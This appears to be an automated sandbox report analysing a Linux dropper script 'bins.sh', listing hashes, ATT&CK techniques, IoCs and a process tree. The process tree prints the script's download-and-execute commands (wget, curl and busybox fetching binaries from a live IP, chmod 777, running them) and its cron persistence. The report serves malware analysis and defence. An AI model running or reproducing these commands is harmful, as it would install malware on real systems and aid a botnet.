c79ab0c501bb9f67602ded8b5f2eefe6ed347421585d3507580d5e70f0f0db46

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
25-11-2024 08:21

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General

Target

bins.sh
Size

10KB
MD5

747b8345f3612d35549d1bab11e30196
SHA1

8b239baf781200145912fbcc64c46168d7f09fe2
SHA256

c79ab0c501bb9f67602ded8b5f2eefe6ed347421585d3507580d5e70f0f0db46
SHA512

b6fbe756307aa4c57bbb192804f6e517c63ef03939bad331e1304c8b6ff2c0e82c5b16916533d15c62696f04f2dbb1e0535c7ed6403ac2b6478d36997edce994
SSDEEP

96:PRJkI8scWD3b9eGyBNVGWbyT9Cjt9tokDAGRJSI8pOtuBNVGW1QD3b9eGX9N0TVV:PRJkScWD3b9eGxRC5RJ7L3b9eGA

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmod

pid process

1501 chmod
1516 chmod
1523 chmod
1530 chmod

pid	process
1501	chmod
1516	chmod
1523	chmod
1530	chmod

Executes dropped EXE 4 IoCs

Processes:

rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5dbl6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcydSrxYaWRxaMj4ba8n54idi6iaf3uRfMoFprIYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS

ioc	pid	process
/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	1502	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
/tmp/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd	1517	l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
/tmp/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr	1524	SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
/tmp/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS	1531	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS

Renames itself 1 IoCs

Processes:

IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS

pid process

1532 IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.kDLZMQ crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1532	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.kDLZMQ	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS

description	ioc	process
File opened for reading	/proc/182/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1332/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/82/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/636/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1118/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1129/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1590/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1619/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/343/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/448/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1073/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1567/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1594/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/169/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1289/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1558/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/6/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/12/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1620/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/26/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/175/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/454/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1137/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1565/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1602/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/164/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/262/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/655/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1191/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1625/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1626/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/7/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/27/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/85/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/539/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1573/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/20/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1023/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1222/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1478/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1491/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/83/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/163/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/174/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1270/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/34/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/518/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1479/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1541/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1547/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1584/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1581/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/28/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1359/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1554/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1556/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1586/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1606/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/470/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1043/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1141/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1585/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
File opened for reading	/proc/1605/cmdline	IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS

System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

rmwgetcurlbusyboxl6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd

pid process

1519 rm
1505 wget
1514 curl
1515 busybox
1517 l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd

pid	process
1519	rm
1505	wget
1514	curl
1515	busybox
1517	l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxbusyboxwgetbusyboxwgetbusyboxcurlwgetcurlwgetcurl

description	ioc	process
File opened for modification	/tmp/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS	curl
File opened for modification	/tmp/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS	busybox
File opened for modification	/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	busybox
File opened for modification	/tmp/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr	wget
File opened for modification	/tmp/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr	busybox
File opened for modification	/tmp/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS	wget
File opened for modification	/tmp/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd	busybox
File opened for modification	/tmp/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr	curl
File opened for modification	/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	wget
File opened for modification	/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	curl
File opened for modification	/tmp/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd	wget
File opened for modification	/tmp/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1483
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1484
- /usr/bin/wget
  wget http://216.126.231.240/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Writes file to tmp directory
  PID:1485
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/chmod
  chmod 777 rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - File and Directory Permissions Modification
  PID:1501
- /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  ./rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Executes dropped EXE
  PID:1502
- /bin/rm
  rm rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  PID:1504
- /usr/bin/wget
  wget http://216.126.231.240/bins/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1505
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
  ./l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1517
- /bin/rm
  rm l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
  2⤵
  - System Network Configuration Discovery
  PID:1519
- /usr/bin/wget
  wget http://216.126.231.240/bins/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
  2⤵
  - Writes file to tmp directory
  PID:1520
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/chmod
  chmod 777 SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
  ./SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
  2⤵
  - Executes dropped EXE
  PID:1524
- /bin/rm
  rm SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://216.126.231.240/bins/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
  2⤵
  - Writes file to tmp directory
  PID:1527
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod 777 IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
  ./IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1531
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1533
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1534
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1535
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1536
- /bin/rm
  rm IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://216.126.231.240/bins/J1QJC1kdS2esyq2WiF1GCoewowOKS7eLZN
  2⤵
  PID:1541
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/J1QJC1kdS2esyq2WiF1GCoewowOKS7eLZN
  2⤵
  PID:1542

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/IYpLKHG86czmzSrVMMBLpoFs1PjYKKXgcS

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/SrxYaWRxaMj4ba8n54idi6iaf3uRfMoFpr

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.kDLZMQ

Filesize
210B

MD5
2fe530d7c505641e929099072cb5d5a3

SHA1
0c40083517fc31369f1cee3994910cb6a5fa95aa

SHA256
093a603f09927a1b2c61e7e39f0df2a941c16385c8ea5e4208b18d50057da413

SHA512
6a63219e71f19a59ef20ba5bac1fb265e7344a0757522763dccf2ee97d0c80b1ec6a57c0dca5abd69ec04a6614d9063471870b355682608de1675e2aa3282f83

Download Submit